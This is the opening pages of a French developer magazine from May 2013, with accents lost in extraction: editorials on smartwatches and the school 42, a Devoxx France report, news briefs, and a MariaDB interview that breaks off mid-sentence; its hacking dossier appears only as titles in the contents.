Vous êtes sur la page 1sur 84

LE

MAGAZINE

DU

DVELOPPEMENT

100 % dveloppeur

www.programmez.com

Mensuel n163 - mai 2013

Enqute exclusive

vrais

istock/amphotora

Les

salaires

des dveloppeurs, chefs de projets...

HACKING
Attaques brutes avec Metasploit,
Le top 10 des failles
Forcer une connexion https

BlackBerry 10 :

LES BOTES
faut-il sy mettre ?
OUTILS
Le systme,
DU DVELOPPEUR
les nouveaux SDK,
MODERNE
les outils de dveloppement
Reportages

Webmaster

Devoxx, MariaDB, Symfony Live

Les CMS deviennent Responsive


Interface

iOS

Crer une usine


compilation performante

Outils

Mettre en place une Nightly Build

Printed in EU - Imprim en UE - BELGIQUE 6,45


SUISSE 12 FS - LUXEMBOURG 6,45 DOM Surf 6,90
Canada 8,95 $ CAN - TOM 940 XPF - MAROC 50 DH

M 04319 - 163 - F: 5,95 E

3 :HIKONB=^UZ^Z]:?a@l@q@d@a" ;

02/83/84-162

19/04/13

23:43

Page 2

03

19/04/13

23:52

Page 3

A buzzword

La montre intelligente :
laiguille qui cache tout

Depuis quelques semaines, la rumeur devient folle : Apple prparerait une montre
connecte. Il nen fallait pas plus pour que tout le monde en parle et que les concurrents
annoncent eux aussi un projet concurrent ! Samsung travaille sur la sienne, Google
aurait galement une soudaine envie daiguilles et Microsoft serait lui aussi sur le sujet.
ous sommes dans lide du tout
connect. Dans le cas de la montre,
il sagit plutt dune extension du
smartphone ou dun terminal mobile, reste
savoir dans quelle mesure une montre peut
tre indpendante au sens objet connect et
les services quelle pourrait offrir aux utilisateurs. Car il y a une contrainte physique
toute bte : la taille de lobjet, la surface rellement utilisable. La SmartWatch de Sony
est-elle un exemple suivre ? Disons que
cela ressemble un iPod Shuffle et un
Android sur un micro-cran. Lautonomie
sera aussi une forte contrainte. Les lunettes
Google offriront une journe dautonomie (ou
moins selon les fonctions), ce qui est finalement peu.
Lusage est bien entendu au cur de ces
objets qui se multiplient : thermostat tactile,
miroir interactif, domotique nouvelle gnration (voyez la multiplication des ampoules
personnalisables et programmables), etc.
Ensuite, linteraction Homme Objet est cruciale. Transpos tel quel, un systme mobile
ou embarqu sur une montre na aucun intrt. Il faut ladapter aux contraintes et aux
usages que lon veut y mettre. La rflexion
est la mme quand on dveloppe pour
smartphone et tablette. Lusage, lergonomie ne sont pas identiques. Par exemple, on
ne va pas utiliser un traitement de texte sur
une montre

LA MONTRE NEST RIEN,


LINTERFACE EST TOUT
Au-del de la montre dite intelligente, cest
toute linteraction des objets entre eux et
avec lHomme. Le Machine 2 Machine avait
pos la question il y a quelques annes. Lobjet connect est finalement une nouvelle
forme de cette approche. Surface (la table
interactive et tactile et non la tablette) avait
montr un nouveau monde o les objets pouvaient interagir, communiquer avec la surface de la table. Trop lourde, trop chre, trop
peu dobjets utilisables. En ralit, aujour-

dhui, les interfaces de type Kinect ou Leap


Motion ont sans doute un grand avenir la
maison, dans le quotidien, peut-tre au
bureau. Mais nous nen sommes quau
dbut. Il faut dfinir les nouveaux usages
(Kinect apporte dj quelques rponses
dans le commerce par exemple), les dveloppeurs doivent penser une toute nouvelle
ergonomie et utiliser des domaines et des
fonctions inconnus. Les travaux autour des
interfaces holographiques montrent comment on peut utiliser des interfaces Kinect
avec des objets totalement virtuels mais
interactifs. Le projet HoloDesk des laboratoires Microsoft Research est un bel
exemple. Vido :
http://www.youtube.com/watch?v=JHL5tJ9ja_w

LEXTRME DE LEXTRME
AVEC JOL DE ROSNAY ?
Durant la journe applications dOracle,
nous avons pu assister la futurologie et
la vision de Jol de Rosnay, prospectiviste et
biologiste rput. Pour ce chercheur, Internet est dj mort, le Cloud Computing aussi.
Nous sommes dans un cosystme totalement numrique, dans ce quil appelle la life
streaming. Les Hommes sont dj augments, connects, multi-technologies. Ils

PROgrammez !

<3>

MAI

2013

seraient des mutants, des MHBG (mutants


hybrides bionumriques golocaliss). Pour
eux, les terminaux mobiles et les objets
connects ne sont que des extensions naturelles du corps. Pour de Rosnay, ils ne sont
dj plus dans le mme monde que nous. Et
il faudrait mme les rassembler dans un
nouveau peuple : les IKWIWAIWIN (I know
what I want and I want it now je sais ce que
je veux et je le veux maintenant). Ils seraient
sans frontires, partageraient une culture
commune, des codes communs. Une autre
gnration de Geek pour faire court.
On pourrait presque trouver anecdotique les
dbats sur les donnes personnelles, les
smartphones trop bavards, les peurs entre
la confusion vie prive et vie professionnelle.
Nous sommes encore loin de ce monde ( ?)
mais en ralit, lunivers numrique volue
tellement rapidement que lon ignore ce que
lon aura entre les mains dici 5 ans. Il y a 5
ans, nous ne pensions pas avoir un iPad
Mais cela ouvre aussi des perspectives toujours plus grandes pour les applications, les
usages et donc le dveloppeur.
Pour aller plus loin :
http://goo.gl/bVQEC
http://goo.gl/d7jC5
# Franois Tonic

04-05 edito som163

22/04/13

10:11

Page 4

Donnez votre avis sur ce numro : www.programmez.com/magazine_ sa

sommaire

numro 163 - mai 2013

Sources des articles sur


www.programmez.com

BUZZWORD
La montre intelligente : laiguille qui cache tout

....3

13

ACTUS
Devoxx France 2013 ....................................................6
MariaDB, MySQL, SkySQL : Monty fait le point ..10

ACTU EN BREF ................................................13


MATERIEL ................................................................19

RESSOURCES
Les livres du mois ......................................................16
Evnements, agenda ..................................................18

DEVELOPPEUR DU MOIS
Audrey Neveu :

Une dveloppeuse passionne


au parcours atypique ......................................................20

VEILLE TECHNO
BlackBerry 10 :
Opration dernire chance pour BlackBerry ? ..........22

OUTILS
Les outils du dveloppeur moderne ..............................26
Les outils du dveloppeur web en Java

......................29

DOSSIER

HACKING : MAIS QUE FAIT


LE DVELOPPEUR ?

Interview de Mohammed Boumediane ......................35


Metasploit ou l'art de l'exploitation ..........................36
Les diffrentes techniques de hacks ........................40
Le top des attaques web 2013 ................................42
La scurit des sites web en question ! ..................45

prochain
numro

Attaque dune connexion HTTPS


par gnration dynamique de certificats ..................47

A lire dans le prochain numro


N164-Juin 2013, paratre le 31 mai 2013

iOS, Android, Windows 8


Dveloppez des applications pour tablette

Etudes
Quelle formation ?
Quel diplme ?
Quelle cole ?

Cloud computing
Quel PaaS Java choisir ?

22/04/13

10:11

Page 5

e_ satisfaction.php

F. Tonic

Simple
comme 42 ?

AGILIT
Le ScrumMaster en pratique ........................................30

CARRIRE
Les vrais salaires
des dveloppeurs.......51

JE DEBUTE AVEC...
Dmystifier le dveloppement
des plug-ins d'Eclipse (suite et fin)

..............................55

Comprendre le fonctionnement
de la machine virtuelle Java (2e partie) ......................59
Mise en place d'une usine
de compilation pour iOS ..................................................63
Je mets en place des Nightly Build

............................66

22

Fin mars dernier, lannonce a t forte et na


pas fini de faire parler delle : Xavier Neil (le
grand patron de Free), Nicolas Sadirac, celui
qui a invent Epitech, son adjoint Kwame Yamgnane et le CTO Florian Bucher, annoncent la
cration dune nouvelle cole ddie au dveloppement, la programmation : 42(*). Le but est simple : proposer un cursus de qualit gratuit, accepter tout le monde (diplme ou pas). Et donner une
formation de 3 ans. Comme lEpitech, laccent sera mis sur les projets, le collaboratif entre les tudiants, aider et soutenir les initiatives
et surtout crer une vritable communaut. Et les locaux seront
accessibles 24h/24, 7j sur 7. 42 le dit clairement : Lobjectif premier de 42 est de former lexcellence en programmation . 42
veut aussi encourager lesprit dentreprendre, doser un projet.

dito

04-05 edito som163

42 se veut loppos des coles dinformatique actuelles, de lEducation Nationale et de lUniversit qui ne rpondraient que peu ou mal
aux dfis actuels. Pour les crateurs de 42, la France ne sait pas
former linformatique ou alors il faut payer cher sa formation. Et
lambition est grande ds le dpart : une promotion de 1 000 tudiants et une ouverture ds lautomne 2013 Paris ! Linscription se
fait entirement en ligne. Une premire prslection sera faite, puis
un cours dt sera propos, et ce sera de lintensif. Au final : 1 000
heureux tudiants retenus(**)
Les autres coles nont pas tard rpondre. Bienvenue mais
tout de suite suivi de remarques : une slection qui soulve des interrogations : quid de la formation relle et surtout, la question du diplme. Oui, 42 sanctionne la fin du cycle par un diplme. Non, celui-ci
ne sera pas reconnu par lEtat. Cette question nen est pas une pour
les promoteurs de la nouvelle cole : leur crdo : ne pas former un
diplme mais un mtier.
Sur le fond, ce nest pas faux. On ne doit pas former pour un diplme
mais pour son futur mtier mais en France, il y a une culture de la
diplomacratie .
Les entreprises, mais mme les administrations, se focalisent beaucoup sur le diplme qui est un lment de slection, car il faut bien
disposer de critres pour choisir entre tous les candidats. Rejeter
tout diplme na pas de sens, mais miser uniquement dessus, encore moins. Il faut juger le candidat sur ses comptences relles, sa
motivation, ses qualits humaines et techniques.

CAS DUSAGE
Applications mobiles pour SharePoint 2013..............70

PRATIQUE
Matriser les blocs sous Drupal 6 et Drupal 7..........73

Est-ce dans une quipe monoculture que lon peut faire merger des
ides, des solutions, un peu de non-conformisme ? La vision de
chaque personne sera sans doute trop formate , on codera de la
mme manire, utilisant les mmes outils et pratiques, etc. En ralit, il faut dcloisonner, crer des quipes multi culturelles.

Rendre mon CMS responsive ........................................77

Il est vrai que dans la culture anglo-saxonne, particulirement aux


Etats-Unis, on mise sur la personne, davantage que sur le diplme et
on donnera plus facilement sa chance chacun. En France, ce sera
souvent linverse, par tradition mais aussi par scurit.

Responsive web design : pour ou contre ? ................79

Comme toujours, le monde nest jamais blanc ou noir.

WEBMASTER

# Franois Tonic - Rdacteur en chef


ftonic@programmez.com

BUGTRACK
Fixer l'erreur 0x8007007b
d'activation de Windows 8 ............................................82

(*) Populaire chez les Geeks, cest le chiffre de rfrence du Guide du


Voyageur Intergalactique (H2G2), mythique livre de science-fiction.
(**) Article dtaill paratre le mois prochain.

Editeur : Go-02 sarl, 21 rue de Fcamp 75012 Paris diff@programmez.com. - Rdaction : redaction@programmez.com - Directeur de la Rdaction : Jean Kaminsky.
Rdacteur en Chef : Franois Tonic - ftonic@programmez.com. Ont collabor ce numro : F. Mazu, S. Saurel.
Experts : Y. Beschi, C. Villeneuve, G. Balaine, L. Vol Monnot,
A. Villenave, T. El Aouadi, L. Cacheux, K. Alnijres, P. Laporte,
V. Saluzzo, V. Fabing, B. Lane, F. Ravetier, A. Alnijres,
M. Loriedo, T. Leriche-Dessirier, C. Pel.

Illustration couverture : istockphoto/amphotora


Publicit : Rgie publicitaire, K-Now sarl.
Pour la publicit uniquement : Tl. : 01 41 77 16 03 diff@programmez.com. Dpt lgal : parution Commission paritaire : 0717K78366 ISSN : 1627-0908.
Imprimeur : S.A. Corelio Nevada Printing, 30 alle de la
recherche, 1070 Bruxelles Belgique.
Directeur de la publication : J-C Vaudecrane

Abonnement : Programmez, 17, Chemin des Boulangers, 78926


Yvelines Cedex 9 - Tl. : 01 55 56 70 55 - abonnements.programmez
@groupe-gli.com - Fax : 01 55 56 70 91 - du lundi au jeudi de 9h30 12h30
et de 13h30 17h00, le vendredi de 9h00 12h00 et de 14h00
16h30. Tarifs abonnement (magazine seul) : 1 an - 11 numros France
mtropolitaine : 49 - Etudiant : 39 - CEE et Suisse : 55,82 Algrie, Maroc, Tunisie : 59,89 Canada : 68,36 - Tom : 83,65
- Dom : 66,82 - Autres pays : nous consulter. PDF : 30 (Monde
Entier) souscription exclusivement sur www.programmez.com

06-09

19/04/13

23:54

Page 6

i actu

Devoxx France 2013

Par des Geeks pour des Geeks !


> Trois jours intenses
Mercredi 27, arrive 8h30 au centre de
confrence de lhtel Marriott. La file dattente pour avoir son badge est longue. Mais
heureusement, nous ne sommes pas Disney Land et lattente est minime. Notre
ssame, -permettant de circuler librement-,
en main, nous pouvons prsent nous diriger vers la salle principale dans laquelle les
diffrents sponsors ont leur stand. IBM,
Oracle et Google, mais aussi des diteurs,
des centres de formation, ainsi que des SSII
sont prsents. Durant les confrences,
cette salle est dserte, mais durant les
intermdes, cest une vraie fourmilire tel
point qu lheure du djeuner il est presque
impossible de circuler. Et ceci est un fait
notable. Outre les confrences, Devoxx cest
aussi la convivialit, de nombreuses rencontres, voire des retrouvailles. Cest le seul
lieu de France o lon peut ctoyer des Java
Champions tel quAntonio Goncalves, des
JavaOne Rocks Star comme Charles "l'homme au chapeau" Nutter, ainsi que des
experts dhorizons divers, qui sont pour la
plupart des orateurs de talent.
Le point culminant de cette euphorie de rencontres fut la soire Portes ouvertes du
jeudi soir Meet & Greet . Au menu, du
bon vin et une slection de fromages franais nous ont t proposs, mais aussi de la
bire offerte gracieusement par Atlassian et
Cloudbees. Dans une ambiance chaleureuse
et dcontracte, geeks, entrepreneurs et
commerciaux, -toujours prsents lorsquil
sagit de faire la fte-, ont pu changer sans
complexe ni barrire. Ce fut aussi loccasion
de dcouvrir plus dune dizaine de communauts venues prsenter leurs activits lors
des BOFs Birds-of-a-Feather (confrences informelles). Au dtour dune alle, il
tait aussi possible de se faire masser gratuitement et de rpondre aux nigmes techniques dun personnage dlirant, le pre
Fouras, revisit par Soat. En somme, lquation parfaite pour se relaxer des deux premiers jours
Pour finir ce tour dhorizon, nous ne pouvons
faire limpasse sur les Keynotes ayant eu lieu
le jeudi et vendredi en dbut de matine.
Nous avons eu lhonneur davoir devant
nous, la crme de la crme des speakers,
pour des interventions, convenues, comme

celle de Martin Odersky (crateur des Generics et du compilateur javac de Java, mais
aussi de Scala) et aussi plus surprenantes
mais extrmement intressantes linstar
de Lhistoire des critures de Clarisse
Herrenschmidt.

> Focus Cloud


Cette anne, le Cloud a t mis lhonneur. Un
sondage nomm Du Cloud et des geeks ,
auxquels les participants au salon ont t
invits participer, et lAprs-Midi des Dcideurs, lui ont t consacrs.
Des socits telles que Joe Mobile, VSC,
Mappy, CDiscount et Photobox sont venues
tmoigner de lutilisation quils font du Cloud.
Il en ressort une utilisation trs varie. Nous
avons un extrme le MVNO Joe mobile qui
a construit tout son SI sur le PaaS Cloudbees et loppos, VSC qui utilise en mode
hybride le PaaS Cloudbees et le IaaS Amazon
pour mettre en production leurs nouvelles
offres avant de les rapatrier ensuite sur leur
infrastructure juge moins coteuse.
Ct dveloppeurs, les rsultats du sondage
montrent que mme si 90% des rpondants
pensent que le Cloud est un service utile ou
trs utile aujourdhui, seulement 61% des

PROgrammez !

<6>

MAI

2013

entreprises utilisent le Cloud de manire


rgulire et pour des services prcis. Nous
constatons aussi quil y a une forte demande
de formation sur le sujet, lauto-formation
tant juge insuffisante.
Bien que la route parcourir quant lvanglisation des rfractaires soit encore
longue, le Cloud est une ralit dans le
monde de lentreprise. Certains diront :
Enfin ! Ils auront mis le temps .
Dautre part, et ceci est un fait notable, nous
navons constat aucune tendance. Aujourdhui, Java et son cosystme extrmement
riche ont atteint un niveau de maturit,
imposant de fait une certaine stagnation.
Provoquer une rvolution semble compliqu,
voire mme inutile. Et cest probablement
pour cette raison que lunivers Web a t
trs prsent au cours des trois jours, dnotant le manque de solutions satisfaisantes
ct serveur pour sadapter la mode du
tout client , le serveur devenant uniquement fournisseur de donnes.

Universit

Collections de printemps
Jos Paumard
Avec la routine sinstallent des automatismes qui mnent des erreurs quant
lutilisation de Data Structures qui ne sont
absolument pas adaptes nos besoins.
Dans une premire partie Jos Paumard, le
professeur que lon aurait tous aim avoir, a
prsent lhistoire de lAPI collections, ainsi
que les bonnes pratiques dutilisation de diffrentes structures de donnes. Dans la
seconde partie, il sest intress aux nou-

06-09

19/04/13

23:54

Page 7

06-09

19/04/13

23:54

Page 8

i actu
veauts de lAPI qui feront leur apparition en
Java 8. Ctait loccasion de revenir nouveau sur les Streams qui font dbat dans la
communaut. Et sans surprise, ce dbat
nest pas prs darriver son terme.

Confrence

Elastifiez votre application :


du SQL au NoSQL en moins
d'une heure
David Pilato et Tugdual Grall
Pendant une heure, -bien trop courte-, David
et Tugdual, -entre lesquels lalchimie tait
magique-, nous ont montr comment nous
pouvions faire disparatre le
mtier de DBA, pour notre plus
grand plaisir. En partant dune
application 3-tiers (client/serveur/ BDD), utilisant Hibernate
et une base de donnes SQL, ils
ont commenc par supprimer la
couche Hibernate, et remplacer
la base de donnes SQL par une
base de donnes NoSQL oriente documents (CouchBase). Ils
auraient pu sarrter l, puisque
nous tions passs du SQL au
NoSQL, mais non. Lorsque linterface graphique mappe des tables et
champs dune base de donnes et sil ny a
pas de traitement mtier, la partie serveur
ne sert que de passe-plat. Nous pouvons
donc la supprimer et interroger directement
la base de donnes par une requte HTTP
en Ajax, puisque CouchBase peut tre interrog laide dune pseudo-requte en
JSON et retourne les donnes au format
JSON. Mais ce nest pas tout, en ajoutant un
moteur dindexation (elasticsearch) nous
avions devant nos yeux la possibilit de faire
une recherche multi-contexte laide dun
seul champ et ceci en quelques minutes
(quelques heures en temps rel).

Confrence

Architecting for Continuous


Delivery
Axel Fontaine
Le mtier de dveloppeur est rbarbatif et
ce principalement en raison de certaines
tches contre-productives. Sans des outils
et des processus adapts, nous perdons de
nombreuses minutes, voire heures, tous les
jours. Cest alors que lintgration continue
entre en jeu pour nous changer la vie. Nanmoins, pour pouvoir en bnficier, un gros
travail est ncessaire en amont, ainsi quune
extrme rigueur tout au long de la vie du pro-

JDK, la JVM et le compilateur sont un peu


son chez lui. Outre Jigsaw quon espre tous
voir arriver un jour, le message principal
tait : Give some love to Java EE . Il y a
aujourdhui un foss norme entre les dveloppeurs de Java SE et ceux Java EE. En
rsulte lutilisation de techniques dun autre
ge, comme la modification du bytecode et
la cration de Proxies. A laide de linstruction invokedynamic qui a fait son apparition en Java 7, il suffirait de rajouter
quelques mots-cls au langage et de modifier le compilateur pour soigner les plus
grands maux.

Confrence

Invokedynamic in 45
Minutes Charles Nutter

jet. Sans outil de build (Maven, Ant, Gradle,


etc.), de tests (unitaires, dintgration, etc.)
complets, un serveur dintgration continue,
et des scripts/outils de modification de la
base de donnes, le dploiement continu est
impossible.

> Rendez-vous en 2014

Confrence

The bright dynamic future of Java


(What I want in Java 9)
Rmi Forax
Rmi Forax, tout un personnage Cest probablement le seul gars qui fait un talk
Devoxx pour nous prsenter comment il souhaite dcorer son salon. Et oui, pour moi, la

> Exprience de speaker


Dvelopper une application page unique en Dart
Mercredi 27 mars 2013 17h20. H-1 avant ma session, la terre sarrte de tourner
ou tout du moins pour moi. Je me dirige vers la salle Miles Davis B 10 minutes
avant la fin du talk prcdent, mon stress est son apoge. Vient lheure pour les
portes de souvrir laissant les confrenciers de la prcdente intervention sortir. Cest
avec les jambes en coton que je me dirige vers le devant de la salle et commence
installer mon matriel. Une fois termin, je suis fin prt. La salle est comble, il a mme
fallu rajouter des chaises. Au moins le sujet intresse ! Une fois les portes fermes, je
peux commencer. Je dois bien avouer que je nai que peu de souvenirs du droulement
de cette prsentation. Au bout dune demi-heure cest la fin. Avant de partir quelques
personnes viennent me poser dautres questions.
A prsent, le stress a disparu pour laisser sa place au devoir accompli. Serein pour
assister aux deux jours restant du salon.

PROgrammez !

Dans la seule confrence technique lie la JVM, Charles Nutter, le crateur de JRuby et
probablement le premier utilisateur de cette nouvelle instruction,
a expliqu en quoi invokedynamic
avait chang sa vie dimplmenteur de langage sexcutant sur
une JVM, en montrant son utilisation. Bien sr, sil lon nest ni
crateur de langage ou de certains types de
frameworks, ni contributeur sur la JVM,
nous aurons peu doccasions dutiliser une
telle instruction. Nanmoins, savoir quelle
existe et comment lutiliser est indispensable
si lon souhaite comprendre la JVM.

<8>

MAI

2013

Aprs trois jours, le rideau tombe et il faut


revenir la dure ralit. Je pourrais terminer en disant quil ne tient qu nous de faire
voluer les choses pour travailler au quotidien dans un monde idal, malheureusement le changement prend du temps.
Nanmoins, les petits ruisseaux font les
grandes rivires, et par consquent, toute
amlioration dans notre vie de dveloppeur,
aussi infime soit-elle doit tre considre
comme une victoire, nous poussant aller
toujours plus loin. Si vous navez pas eu la
chance dassister Devoxx France, ou si
vous souhaitez voir ou revoir des confrences, vous pourrez retrouver les vidos
partir de mi-avril sur Parleys.

# Yohan Beschi
Expert Soat,
Dart vanglisateur
@yohanbeschi
(http://blog.soat.fr)

06-09

19/04/13

23:54

Page 9

i actu
g

Salesforce veut faciliter le dveloppement dapplications mobiles

Lditeur a dvoil un nouveau


kit de dveloppement : Platform
Mobile Services. Cette solution inclut un kit de dveloppement pour iOS et Android
(pour crer nativement ou
avec HTML 5). Des mobiles
packs , disponibles en open
source, permettent de crer trs rapidement des
applications. Les Mobiles Packs tirent parti des API
REST fortement adaptables et fiables de la plateforme
Salesforce grce une slection de frameworks
JavaScript lgers et populaires (AngularJS,
Backbone.js et jQuery Mobile). Ils offrent ainsi une plus
grande flexibilit en matire de dveloppement, et
livrent des expriences mobiles exceptionnelles et
orientes vers les donnes.
Les Mobile Packs pour dveloppeurs sont disponibles
ds aujourd'hui :
www.developerforce.com/mobile/services/mobile-packs
La version 2.0 du kit de dveloppement Salesforce
Mobile sera disponible en juin sur GitHub :
www.github.com/forcedotcom

point sur le
gUn
classement des
langages selon
TIOBE
Lindex TIOBE davril 2013 contient
quelques mouvements : C redevient
le 1er langage, devanant dune
trs courte tte Java. C++ se maintenant 3e, tout juste devant Objective-C qui reste 4e aprs avoir t
3e. Si iOS continue tre populaire,
la trs faible croissance dObjectiveC montre sans doute la maturit de
la plateforme, en attendant les prochaines volutions. Rappelons que
TIOBE ne mesure pas lutilisation
relle des langages mais la popularit dans les recherches internet.

composants
gDes
open source

Cette version inclut plusieurs nouveauts :


Une nouvelle extension (IFE-Workflow) apporte un moteur de gestion de processus (BPM) en
intgrant la solution Open Source
Activiti (http://www.activiti.org).
Une nouvelle extension (IFE-JMX)
permet de mapper des services
Improve Foundations sous forme
de MBeans JMX afin den faciliter
la supervision.
Plusieurs extensions permettent
de dvelopper des applications
Android en utilisant la logique
Improve Foundations (IFE-Mobility,
IFE-Mobility-Android et IFE-MobilityAndroid-Client) et en invoquant
des services distants sur un serveur, de manire transparente,
depuis une application sexcutant
sur un smartphone sous Android.

pour Java
Open Wide annonce la disponibilit
de la version 5.4 dImprove Foundations, distribution de composants
open source orients Java.

La plateforme est compatible JDK


1.5, 1.6 et 1.7 ainsi que JEE 5
et 7.
Site : http://www.improve-foundations.fr

10-15

22/04/13

15:38

Page 10

i actu

MariaDB, MySQL, SkySQL :


Monty fait le point
Michael Monty Widenius, crateur des bases de donnes MySQL et
MariaDB, et Patrik Sallner, le grand patron de SkySQL ont effectu
une halte Paris, le 27 mars dernier, au Meetup organis par
SkySQL. Occasion de rencontrer la communaut et les utilisateurs de
MariaDB, mais aussi de SQL. Nous y tions.
2013 est une anne importante pour MySQL
et ses diffrents forks (MariaDB, Percona).
Le rachat de Sun et de MySQL par Oracle a 5
ans. Ce sera la dernire anne de transition.

> Les avances de MariaDB


Tout d'abord, la majorit des nouveauts de la
version de MySQL 5.6 (initialement prvue
pour tre MySQL 6) a t trop rapidement
incorpore sans respecter les dlais de tests
et d'optimisations, provoquant ainsi 63 Mo de
code supplmentaire entre les versions RC et
GA. Le rsultat obtenu provoque des problmes de compatibilit avec ces fonctions,
ce qui est dommageable selon son crateur.
Et la communaut avait vivement ragi.

> Compatibilit
Au niveau de compatibilit entre MariaDB et
MySQL, celle-ci sera assure 100 % avec
Mariadb 5.6. Il a t ncessaire de rcrire
une partie du code et de loptimiser. Toutefois, Monty explique que le plus long est de
taper Mariadb au lieu de Mysql , et
que les dveloppeurs ne doivent pas se
poser ce genre de question ou se dire
comment faire ? . C'est pourquoi cette
migration est value 50 secondes (en
moyenne). Cependant, si vous utilisez des
fonctions qui nexistent que dans le fork, la
rtrocompatibilit de MariaDB vers MySQL
sera partielle ou non assure. Mais tout est

fait pour faciliter la migration. Plus de 400


clients ont dj pass le cap MariaDB !

> Performance
La performance est un des gros avantages
de MariaDB. Monty rappelle que ces amliorations sont natives alors que sur MySQL
elles sont en option. Ainsi, MariaDB peut
gnrer plus de trafic et supporter plus de
donnes complexes, sans avoir besoin de
modifier le code ou de compiler ou recompiler les projets (notamment en activant les
fonctions optionnelles).

> Pourquoi MariaDB 10.x ?


La version de MariaDB 10 alpha est disponible depuis novembre 2012 et une version
10.1 est prvue avant la fin de l'anne
2013. Cette version inclura automatiquement l'ensemble des fonctions et nouveauts ajoutes MySQL 5.6 aprs que le code
ait t optimis et revu. Ce dlai est ncessaire car Monty ne veut pas sortir des versions trop rapidement pour faire comme les
autres et courir aprs les numros. Un soin
particulier sera apport aux performances
afin daller encore plus loin dans les optimisations natives.

pas chang. Il ne verrait aucun problme ce


que MySQL soit donn la fondation Apache
comme cela a t fait par Oracle pour
dautres logiciels, Open Office en est un parfait exemple. Et noublions pas que MariaDB
inclut de plus en plus de codes diffrents et
des options diffrentes vis--vis de MySQL

> MySQL 5.7


Depuis la sortie de MySQL 5.6, Oracle a
annonc le lancement de la branche 5.7
puisque la version 6.0 a t abandonne.
Monty dplore tout de mme labsence
dagenda (roadmap) et des dtails fonctionnels sur les futures versions. Cela avait t
le cas lorsque MySQL tait en dehors du
giron dOracle. Il faut rassurer la communaut et les utilisateurs.

> Les autres forks de MySQL


Pour Monty, le fork Percona a une approche
diffrente de celle de MariaDB. Percona se
base sur la version existante de MySQL et y
applique des patchs. Les diffrences sont
donc minimes et apportent trs peu de nouveauts. Bref, si les DBA veulent rellement
du changement, MariaDB est tout indiqu

> L'architecture
> Les multiples versions
Depuis le dbut du projet, Monty rclame la
libration (totale) de MySQL, et sa position n'a

PROgrammez !

< 10 >

MAI

2013

Les storages engines ont subi dimportants


changements depuis le rachat de MySQL :
certains formats ont t abandonns et

10-15

22/04/13

15:39

Page 11

10-15

22/04/13

15:39

Page 12

i actu
repris par les forks comme XtraDB (maintenu par Percona). Actuellement, Oracle se
concentre sur le moteur InnoDB bien que
depuis MySQL 5.6, le NoSQL est prsent.
Cependant, aujourdhui, il est difficile pour un
SGBD de privilgier un unique moteur. Outre
le besoin dinteroprabilit avec les autres
SGBD, cest le besoin de support dune trs
grande varit de formats de donnes qui
impose lutilisation de diffrents moteurs
dans le mme SGBD.

est en mesure de prendre en charge directement le moteur de stockage TokuDB : utilisation de l'indexation des arbres fractals,
amlioration de la vitesse d'insertion et
d'excution des requtes. Un nouveau storage engine rvolutionnaire appel
connect va tre ajout dans la version
stable de MariaDB 10.0. Il s'agit d'un
moteur dynamique GPL, bas sur le principe
Extract-Transform-Load (voir l'encadr).

> MariaDB dans le Cloud


> NoSQL / NewSQL / Big Data
Cassandra est le SGDB NoSQL (projet de la
fondation Apache) qui a t l'origine de louver ture sous MariaDB. Mais d'autres
moteurs NoSQL comme CouchDB, BigTable,
Hbase, MongoDB... peuvent tre utiliss. Le
NoSQL nayant pas de standards dfinis,
MariaDB doit donc tre compatible avec une
multitude de moteurs diffrents.
Pour Monty, les bases de donnes fonctionnent dj trs bien et rpondent parfaitement aux gros volumes de donnes et il n'est
pas obligatoire d'investir spcifiquement dessus. Cependant, il est prfrable de bien
dfinir les besoins du projet avant d'investir
dans une technologie sans connatre le volume du trafic. MariaDB est dj compatible
avec Hadoop et Hbase pour rpondre ces
problmatiques.

> Le futur des storages engines


Jusqu' prsent TokuDB tait une option de
MariaDB. Il est disponible sous la forme dun
plug-in pour les versions 5.5 et 10. Ce plugin

SkySQL AB propose SkySQL Tools, qui est


une suite d'outils pour permettre l'utilisation
de la base de donnes MariaDB dans le
Cloud, comme par exemple celle dAmazon
Web Services (depuis dcembre 2012).
Depuis le dbut de l'anne 2013, une version pour Open Stack est disponible et on
devrait voir apparatre dans les prochaines
semaines de nouvelles infrastructures Cloud.

compatibles MySQL et qui n'ont pas eu


besoin d'tre refaits.

> Le modle conomique


autour de MariaDB
Le modle conomique passe par la fondation et la licence GPL, ce qui garantit un projet ouver t par rappor t aux acquisitions
possibles. Monty rappelle qu'avant le rachat
de MySQL, la technologie tait ouverte. Maintenant ce n'est pas plus le cas, suite aux diffrents rachats. Grce la fondation, l'avenir
est garanti. De nouvelles socits ont signal
leur intrt pour contribuer MariaDB. Les
socits comme Twitter, Google, Percona,
Tabao, Linkedin ont mis en place des quipes
ddies. De plus, Monty tient ce que
MariaDB reste compatible avec MySQL pour
ne pas fermer la porte aux socits qui utilisent la base de donnes historique

> Le partage des connaissances

> Les librairies clients


Les librairies clients passent par des
connecteurs entre la base et les langages.
Tout rcemment 2 nouveaux connecteurs
LGPL ont t mis disposition : Java et C :
bas sur la librairie LGPL de MySQL 3.23
Java est bas sur le driver Drizzle
API compatible avec les dernires versions
librairies clients MySQL
Ces drivers ont pu voir le jour grce au travail troit de MariaDB, Percona server,
MySQL et Drizzle. Bien sr, de nombreux
connecteurs existent depuis le dbut : PHP,
Perl, Python, Ruby, .NET, qui taient dj

Monty milite pour un nombre des contributeurs


toujours croissant tant sur la localisation que
sur la documentation, les guides techniques.

> Interface dadministration

Storage engine : Connect


A 79 ans, Olivier Betrand, ingnieur de l'cole centrale, passionn d'informatique a
voulu apporter une brique l'open source. Au dpart du projet, Connect tait destin
MySQL. Mais finalement, le moteur sest arrt sur MariaDB. Ce moteur offre une nouvelle approche de l'analyse et du croisement de donnes. Les SGBDR sont utilises de
faon transactionnelle pour rpondre une action prcise, c'est--dire l'excution d'une
opration dans un processus, comme lister le contenu d'une table ou ajouter un nouvel
enregistrement. Or, si vous souhaitez effectuer une analyse dynamique avec des donnes externes, cela devient vite compliqu, mme si techniquement, c'est possible,
vous allez mettre plus longtemps si vous souhaitez croiser les donnes venant de :
Diffrents fichiers
D'autres bases de donnes
Ce storage engine peut tre considr comme un ETL, sauf qu'il ne stocke aucune donne dans une zone tampon et il n'effectue aucune conversion pour rendre les donnes
et l'architecture compatibles. Il dfinit l'architecture de la table venant d'un fichier externe ou directement d'une autre base de donnes, localise sur un serveur local ou distant pour devenir une table part entire votre base MariaDB. Vous pouvez ajouter,
modifier ou afficher des donnes en toute transparence soit dans votre table soit dans
des donnes externes.

PROgrammez !

Monty est conscient de la ncessit de


recrer la confiance car la communaut est
un moteur important pour le succs du SGBD.
Le succs est dj l car une dizaine de distributions Linux (dont Fdora, OpenSuse, Slackware, Chakra Linux, Arch Linux) ont dj
